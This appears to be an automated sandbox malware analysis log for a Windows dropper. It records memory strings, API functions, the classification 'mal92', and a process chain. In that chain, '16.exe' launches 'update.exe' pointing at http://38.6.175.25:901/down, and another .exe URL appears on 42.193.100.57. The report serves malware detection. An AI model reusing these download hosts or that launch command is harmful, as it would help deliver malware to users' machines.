Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe1Z
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000063E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe7
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe=2
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exeN2
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000743000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exec3
Source: #U4fdd#U62a4#U795e1.exe, 00000003.00000002.2714909833.000000000067C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.execY
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exez
Source: #U4fdd#U62a4#U795e1.exe, 00000000.00000002.2714731411.0000000000729000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://42.193.100.57/%E5%8D%83%E5%8D%83%E6%99%9A%E6%98%9F16.exe~
Source: #U4fdd#U62a4#U795e1.exe, update.exe.4.dr, 16.exe.0.drString found in binary or memory: http://www.eyuyan.com)DVarFileInfo$
Source: 16.exe, 00000004.00000002.1882625896.0000000001369000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://trustsing.com/publish/iDefender.exew
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00437920 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00437920
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00437920 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00437920
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00437920 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,3_2_00437920
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00452E80 GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,GlobalFree,EmptyClipboard,SetClipboardData,CloseClipboard,7_2_00452E80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00437A80 OpenClipboard,GetClipboardData,CloseClipboard,GlobalSize,GlobalLock,GlobalUnlock,CloseClipboard,0_2_00437A80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00436180 GetKeyState,GetKeyState,GetKeyState,CopyRect,0_2_00436180
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00496E82 GetKeyState,GetKeyState,GetKeyState,GetKeyState,0_2_00496E82
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0049535B GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,0_2_0049535B
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004237C0 GetKeyState,GetKeyState,GetKeyState,GetKeyState,0_2_004237C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00421AA0 IsWindowEnabled,TranslateAcceleratorA,IsChild,GetFocus,PostMessageA,PostMessageA,SendMessageA,IsChild,IsWindow,IsWindowVisible,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,SendMessageA,WinHelpA,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,IsWindow,0_2_00421AA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00436180 GetKeyState,GetKeyState,GetKeyState,CopyRect,3_2_00436180
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00496E82 GetKeyState,GetKeyState,GetKeyState,GetKeyState,3_2_00496E82
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0049535B GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,3_2_0049535B
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004237C0 GetKeyState,GetKeyState,GetKeyState,GetKeyState,3_2_004237C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00421AA0 IsWindowEnabled,TranslateAcceleratorA,IsChild,GetFocus,PostMessageA,PostMessageA,SendMessageA,IsChild,IsWindow,IsWindowVisible,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,SendMessageA,WinHelpA,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,IsWindow,3_2_00421AA0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0043C0C0 GetKeyState,GetKeyState,GetKeyState,GetKeyState,7_2_0043C0C0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_004426E0 IsWindowEnabled,TranslateAcceleratorA,IsChild,GetFocus,PostMessageA,PostMessageA,SendMessageA,IsChild,IsWindow,IsWindowVisible,SendMessageA,SendMessageA,SendMessageA,SendMessageA,GetParent,SendMessageA,WinHelpA,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,IsWindow,7_2_004426E0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0049706E GetKeyState,GetKeyState,GetKeyState,GetKeyState,7_2_0049706E
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0049557D GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,7_2_0049557D
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_004516E0 GetKeyState,GetKeyState,GetKeyState,CopyRect,7_2_004516E0

System Summary

barindex
Source: 16.exe.0.drStatic PE information: .vmp0 and .vmp1 section names
Source: update.exe.4.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: update.exe.4.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0048E06C0_2_0048E06C
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004400D00_2_004400D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004562560_2_00456256
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004703C00_2_004703C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004523D00_2_004523D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0047C4400_2_0047C440
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004484120_2_00448412
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004565410_2_00456541
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004665200_2_00466520
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0045C5300_2_0045C530
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004945FF0_2_004945FF
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004705F00_2_004705F0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004325800_2_00432580
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004686700_2_00468670
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004626200_2_00462620
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004566F40_2_004566F4
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004648300_2_00464830
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004828C00_2_004828C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0045696E0_2_0045696E
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004489700_2_00448970
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004529100_2_00452910
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0045C9AE0_2_0045C9AE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0044EA000_2_0044EA00
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0046CA200_2_0046CA20
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00466AA00_2_00466AA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0042CB100_2_0042CB10
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0045CBFE0_2_0045CBFE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0041CD400_2_0041CD40
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0044ED100_2_0044ED10
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00456DA00_2_00456DA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0046CE400_2_0046CE40
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004550400_2_00455040
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004630C00_2_004630C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0044F1400_2_0044F140
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004572700_2_00457270
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004533D00_2_004533D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004454500_2_00445450
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004194E00_2_004194E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004574A00_2_004574A0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0045D7000_2_0045D700
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004457800_2_00445780
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0041B8500_2_0041B850
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0047B8700_2_0047B870
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004558800_2_00455880
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_004459100_2_00445910
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00447B7B0_2_00447B7B
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00453BC00_2_00453BC0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0045DBA00_2_0045DBA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00425BB00_2_00425BB0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00449D800_2_00449D80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_0047BD800_2_0047BD80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00455D990_2_00455D99
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00489E160_2_00489E16
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00457EE00_2_00457EE0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00423E800_2_00423E80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00447EAD0_2_00447EAD
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00441FD00_2_00441FD0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0048E06C3_2_0048E06C
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004400D03_2_004400D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004562563_2_00456256
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004703C03_2_004703C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004523D03_2_004523D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0047C4403_2_0047C440
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004484123_2_00448412
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004565413_2_00456541
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004665203_2_00466520
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0045C5303_2_0045C530
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004945FF3_2_004945FF
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004705F03_2_004705F0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004325803_2_00432580
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004686703_2_00468670
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004626203_2_00462620
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004566F43_2_004566F4
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004648303_2_00464830
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004828C03_2_004828C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0045696E3_2_0045696E
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004489703_2_00448970
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004529103_2_00452910
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0045C9AE3_2_0045C9AE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0044EA003_2_0044EA00
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0046CA203_2_0046CA20
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00466AA03_2_00466AA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0042CB103_2_0042CB10
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0045CBFE3_2_0045CBFE
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0041CD403_2_0041CD40
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0044ED103_2_0044ED10
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00456DA03_2_00456DA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0046CE403_2_0046CE40
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004550403_2_00455040
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004630C03_2_004630C0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0044F1403_2_0044F140
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004572703_2_00457270
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004533D03_2_004533D0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004454503_2_00445450
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004194E03_2_004194E0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004574A03_2_004574A0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0045D7003_2_0045D700
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004457803_2_00445780
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0041B8503_2_0041B850
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0047B8703_2_0047B870
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004558803_2_00455880
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_004459103_2_00445910
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00447B7B3_2_00447B7B
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00453BC03_2_00453BC0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0045DBA03_2_0045DBA0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00425BB03_2_00425BB0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00449D803_2_00449D80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_0047BD803_2_0047BD80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00455D993_2_00455D99
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00489E163_2_00489E16
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00457EE03_2_00457EE0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00423E803_2_00423E80
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00447EAD3_2_00447EAD
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 3_2_00441FD03_2_00441FD0
Source: C:\Users\user\Desktop\update.exeCode function: 7_3_021847107_3_02184710
Source: C:\Users\user\Desktop\update.exeCode function: 7_3_02184A007_3_02184A00
Source: C:\Users\user\Desktop\update.exeCode function: 7_3_021812607_3_02181260
Source: C:\Users\user\Desktop\update.exeCode function: 7_3_021827907_3_02182790
Source: C:\Users\user\Desktop\update.exeCode function: 7_3_021864807_3_02186480
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_004393C07_2_004393C0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0046A1107_2_0046A110
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0043E2C07_2_0043E2C0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_004483E07_2_004483E0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0048E4CD7_2_0048E4CD
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0047A5007_2_0047A500
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0043C7807_2_0043C780
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0049481C7_2_0049481C
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0043A8907_2_0043A890
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0046ABB07_2_0046ABB0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00482C907_2_00482C90
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0046EEB07_2_0046EEB0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0047AFF07_2_0047AFF0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_004730C07_2_004730C0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0047B1307_2_0047B130
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_004372107_2_00437210
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0047B4707_2_0047B470
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0047D7407_2_0047D740
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0047B7B07_2_0047B7B0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0047B9907_2_0047B990
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00479AA07_2_00479AA0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00459B607_2_00459B60
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0045BB907_2_0045BB90
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_0044DBA07_2_0044DBA0
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00489F467_2_00489F46
Source: Joe Sandbox ViewDropped File: C:\Users\user\Desktop\update.exe E5C30E02DAA7C7178EE58F7F74F27A8CA4134AD736BA15CF34F863D8B70B2516
Source: C:\Users\user\Desktop\update.exeCode function: String function: 004827CF appears 42 times
Source: C:\Users\user\Desktop\update.exeCode function: String function: 004938DC appears 44 times
Source: C:\Users\user\Desktop\update.exeCode function: String function: 00482EB2 appears 34 times
Source: C:\Users\user\Desktop\update.exeCode function: String function: 00483717 appears 32 times
Source: C:\Users\user\Desktop\update.exeCode function: String function: 0042A5E3 appears 31 times
Source: C:\Users\user\Desktop\update.exeCode function: String function: 00484854 appears 88 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 004823FB appears 84 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 0046CA90 appears 46 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 004936BF appears 88 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 00470080 appears 34 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 0044E440 appears 154 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 0044E2E0 appears 50 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 0044E1C0 appears 78 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 00491AE6 appears 52 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 00483FF4 appears 198 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 0044E030 appears 170 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 0049234C appears 44 times
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: String function: 0049B2C5 appears 40 times
Source: #U4fdd#U62a4#U795e1.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: classification engineClassification label: mal92.evad.winEXE@6/4@0/2
Source: C:\Users\user\Desktop\update.exeCode function: 7_2_00478290 GetLastError,FormatMessageA,7_2_00478290
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00468C30 FindWindowA,GetWindowThreadProcessId,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,TerminateProcess,0_2_00468C30
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00468FE0 CoCreateInstance,MultiByteToWideChar,0_2_00468FE0
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeCode function: 0_2_00492E30 __EH_prolog,FindResourceA,LoadResource,LockResource,IsWindowEnabled,EnableWindow,EnableWindow,GetActiveWindow,SetActiveWindow,0_2_00492E30
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\???[1].txtJump to behavior
Source: C:\Users\user\Desktop\ 16.exeMutant created: \Sessions\1\BaseNamedObjects\tbdg
Source: #U4fdd#U62a4#U795e1.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: #U4fdd#U62a4#U795e1.exeReversingLabs: Detection: 47%
Source: unknownProcess created: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe "C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe"
Source: unknownProcess created: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe "C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exe"
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess created: C:\Users\user\Desktop\ 16.exe C:\Users\user\Desktop\ 16.exe
Source: C:\Users\user\Desktop\ 16.exeProcess created: C:\Users\user\Desktop\update.exe update.exe 1.2 16.exe http://38.6.175.25:901/down http://38.6.175.25:901
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeProcess created: C:\Users\user\Desktop\ 16.exe C:\Users\user\Desktop\ 16.exeJump to behavior
Source: C:\Users\user\Desktop\ 16.exeProcess created: C:\Users\user\Desktop\update.exe update.exe 1.2 16.exe http://38.6.175.25:901/down http://38.6.175.25:901Jump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: wininet.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\#U4fdd#U62a4#U795e1.exeSection loaded: winnsi.dllJump to behavior
